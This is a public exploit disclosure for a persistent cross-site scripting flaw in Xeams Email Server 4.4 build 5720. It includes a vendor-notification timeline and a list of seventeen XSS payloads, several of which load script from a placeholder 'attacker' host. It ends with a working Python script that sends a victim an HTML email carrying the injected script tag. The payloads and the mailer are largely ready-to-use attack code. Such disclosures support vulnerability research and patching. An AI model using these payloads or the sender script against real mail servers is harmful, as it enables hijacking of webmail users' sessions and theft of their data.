xeams email server 4.4 build 5720 – Persistent Cross-Site Scripting
#!/usr/bin/python ''' Author: loneferret of Offensive Security Product: Xeams Email Server Version: 4.4 Build 5720 Vendor Site: http://www.xeams.com Timeline: 29 May 2012: Vulnerability reported to CERT 30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012 23 Jul 2012: Update from CERT: No response from vendor 08 Aug 2012: Public Disclosure Installed On: Windows Server 2003 SP2 Client Test OS: Window 7 Pro SP1 (x86) Browser Used: Internet Explorer 9 Injection Point: Body Injection Payload(s): 1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} 2: <SCRIPT SRC=http://attacker/xss.js></SCRIPT> 3: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> 4: <SCRIPT>alert('XSS')</SCRIPT> 5: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> 6: </TITLE><SCRIPT>alert("XSS");</SCRIPT> 7: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT> 8: <<SCRIPT>alert("XSS");//<</SCRIPT> 9: <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> 10: <SCRIPT>a=/XSS/ alert(a.source)</SCRIPT> 11: <SCRIPT ="blah" SRC="http://attacker/xss.js"></SCRIPT> 12: <SCRIPT a="blah" '' SRC="http://attacker/xss.js"></SCRIPT> 13: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT> 14: <SCRIPT "a='>'" SRC="http://attacker/xss.js"></SCRIPT> 15: <SCRIPT a=`>` SRC="http://attacker/xss.js"></SCRIPT> 16: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT> 17: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT> ''' import smtplib, urllib2 payload = """<SCRIPT SRC=http://attacker/xss.js></SCRIPT>""" def sendMail(dstemail, frmemail, smtpsrv, username, password): msg = "From: hacker@offsec.local\n" msg += "To: victim@victim.local\n" msg += 'Date: Today\r\n' msg += "Subject: Offensive Security\n" msg += "Content-type: text/html\n\n" msg += "XSS" + payload + "\r\n\r\n" server = smtplib.SMTP(smtpsrv) server.login(username,password) try: server.sendmail(frmemail, dstemail, msg) except Exception, e: print "[-] Failed to send email:" print "[*] " + str(e) server.quit() username = "hacker@offsec.local" password = "123456" dstemail = "victim@victim.local" frmemail = "hacker@offsec.local" smtpsrv = "172.16.84.171" print "[*] Sending Email" sendMail(dstemail, frmemail, smtpsrv, username, password) |